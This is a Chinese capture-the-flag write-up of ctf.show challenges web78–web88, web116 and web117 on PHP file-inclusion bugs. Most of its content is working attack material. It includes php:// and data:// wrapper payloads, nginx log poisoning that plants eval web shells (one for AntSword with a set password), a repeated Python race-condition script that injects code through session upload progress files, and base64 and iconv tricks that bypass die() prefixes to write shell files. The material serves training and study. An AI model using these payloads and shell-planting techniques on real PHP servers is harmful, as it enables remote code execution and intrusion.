WEB入门——文件包含
web78
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
考点:include文件包含
解决:
[[php 伪协议]]
?file=php://filter/convert.base64-encode/resource=flag.php
web79
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
考点:include文件包含
难点:过滤php
解决:base64编码
[[php 伪协议]]
system("tac flag.php");
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
考点:include文件包含
难点:过滤data
解决:
不允许使用伪协议,使用日志文件包含的方式
?file=/var/log/nginx/access.log
返回:
172.12.0.2 - - [16/Jan/2026:05:13:32 +0000] "GET / HTTP/1.1" 200 2291 "https://ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 172.12.0.2 - - [16/Jan/2026:05:13:32 +0000] "GET /favicon.ico HTTP/1.1" 200 2291 "https://51f9a47f-438f-480a-8010-4c949c51702e.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"
选User-Agent,因为log文件记录的就是User-Agent
思路1:
User-Agent添加:
<?php eval($_GET[2]);?>

查询flag文件名
?file=/var/log/nginx/access.log&2=system('ls /var/www/html');
查看flag
?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');
思路2:
User-Agent添加:
<?php @eval($_POST['ant']); ?>
蚁剑连接http:
http://50eacd7c-402b-45eb-bb93-882f418fd954.challenge.ctf.show/?file=/var/log/nginx/access.log
密码:ant
web81
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
考点:include文件包含
解决:同上
web82
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
考点:include文件包含
难点:.也被过滤了
php中唯一能无后缀控制的,只有session文件
通过对session临时tmp文件的条件竞争,生成木马文件实现rce
解决:session文件包含
在php5.4之后php.ini开始有几个默认选项
1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = "upload_progress_"
4.session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5.session.use_strict_mode = off
第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
第三和第四个prefix+name将表示为session中的键名
第五个表示我们对Cookie中sessionID可控
我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件
因为session.use_strict_mode=off的关系,我们可以自定义sessionID
可以利用竞争的方式在他清空前包含利用,只能写脚本
import io
import requests
import threading
url = 'http://7b934178-dcda-47f5-aeb8-cab30c40b011.challenge.ctf.show/'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>mumuzi'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('muzi.txt', f)})
def read(session):
while True:
response = session.get(url+'?file=/tmp/sess_flag')
if 'mumuzi' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read(session)
web83
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
session_unset(); // 清空当前 session 中的所有变量($_SESSION = [])
session_destroy(); // 删除服务器上的 session 文件(如 /tmp/sess_xxx)
不影响攻击
import io
import requests
import threading
url = 'http://be97724e-83da-4a32-9f95-8a7fe3800017.challenge.ctf.show/'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>mumuzi'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('muzi.txt', f)})
def read(session):
while True:
response = session.get(url+'?file=/tmp/sess_flag')
if 'mumuzi' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read(session)
web84
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}
加了一个rm -rf,但没关系,我们是条件竞争,只要一直传就有机会能执行,继续跑上面的脚本拿flag
import io
import requests
import threading
url = 'http://be97724e-83da-4a32-9f95-8a7fe3800017.challenge.ctf.show/'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>mumuzi'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('muzi.txt', f)})
def read(session):
while True:
response = session.get(url+'?file=/tmp/sess_flag')
if 'mumuzi' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read(session)
web85
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
}else{
highlight_file(__FILE__);
}
这次会匹配调用die,我们依然使用条件竞争进行pass,不过这次我们多加点线程
import io
import requests
import threading
url = 'http://5118827f-d6a8-491b-a0d3-8dca5a783068.challenge.ctf.show/'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>mumuzi'
}
while True:
f = io.BytesIO(b'a' * 1024 * 100)
response = session.post(url, cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('muzi.txt', f)})
def read(session):
while True:
response = session.get(url + '?file=/tmp/sess_flag')
if 'mumuzi' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read(session)
web86
<?php
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
解释:
1.define('还要秀?', dirname(__FILE__));
定义一个常量还要秀?,值为当前脚本所在目录(如 /var/www/html/)
2.set_include_path(还要秀?);
设置 PHP 的 include 搜索路径 为当前目录,此后 include("xxx") 会优先在该目录下查找文件
解决:
set_include_path() 不会禁止包含绝对路径!
include("/tmp/sess_flag") 是绝对路径,不受 include_path 影响!
web87(绕过死亡代码)
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
难点:
1.对file进行了url解码
2.$content在开头增加了die函数,即使我们写入一句话也会先die,导致无法执行
解决:
PHP 的 base64_decode() 在遇到非法字符时,会自动忽略它们,只保留合法的 Base64 字符(A-Z, a-z, 0-9, +, /, =)进行解码。
<?php die('大佬别秀了');?>对其解码后,只有phpdie六个字符组成字符串进行解码,所以需要再加2个字符变8个,因为base64算法解码时是4个byte一组
echo base64_decode("a<?php die();?>bPD9waHAg...");
// 实际等价于:
echo base64_decode("abPD9waHAg..."); // 忽略 <?php die();?>
?file=php://filter/write=convert.base64-decode/resource=datast.php
对php://filter/write=convert.base64-decode/resource=datast.php进行两次URL编码
GET:
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%34%25%36%31%25%37%34%25%36%31%25%37%33%25%37%34%25%32%65%25%37%30%25%36%38%25%37%30
<?php @eval($_POST[pass]);?>进行base64编码,前面加上nb凑8字符
POST:
content=nbPD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg==
web88
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
过滤了php,但没过滤data,所以使用data伪协议
[[php 伪协议]]
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4
web116
先下载视频
foremost 下载.mp4

分离出一张图片
参数是$file
?file=flag.php

web117 (另类编码绕过死亡代码)
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
convert.iconv.UCS-2LE.UCS-2BE两位两位的替换位置
GET:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
POST:
?<hp pvela$(G_TE'['a)]?;>>>
多一个>是为了防止报错,>在标签外不解析
/shell.php?a=system("cat flag.php");
分析:
可以在 linux 中用 iconv 命令测试一下
iconv -f ucs-2le -t ucs-2be decript.txt
其中,decript.txt 的内容为 <?php eval($_GET['a']);?>,如果解码后右尖号缺失,可以通过在原字符串后添加右尖号的方式解决
当然,之后也可以将源码中的前后字符串结合起来进行检验:
iconv -f ucs-2be -t ucs-2le encript.txt
其中, encript.txt 的内容为<?php die();?>?<hp pvela$(G_TE'['a)]?;>>>
在本地 linux 中测试时,可以改变右尖号的个数来检验其缺失或报错的情况
结果:
┌──(root㉿kali)-[~/桌面]
└─# iconv -f ucs-2le -t ucs-2be decript.txt
iconv: 缓冲区末尾的字符或转移序列不完整
?<hp pvela$(G_TE'['a)]?;
┌──(root㉿kali)-[~/桌面]
└─# iconv -f ucs-2be -t ucs-2le encript.txt
iconv: 缓冲区末尾的字符或转移序列不完整
?<hp pid(e;)>?<?php eval($_GET['a']);?>>

浙公网安备 33010602011771号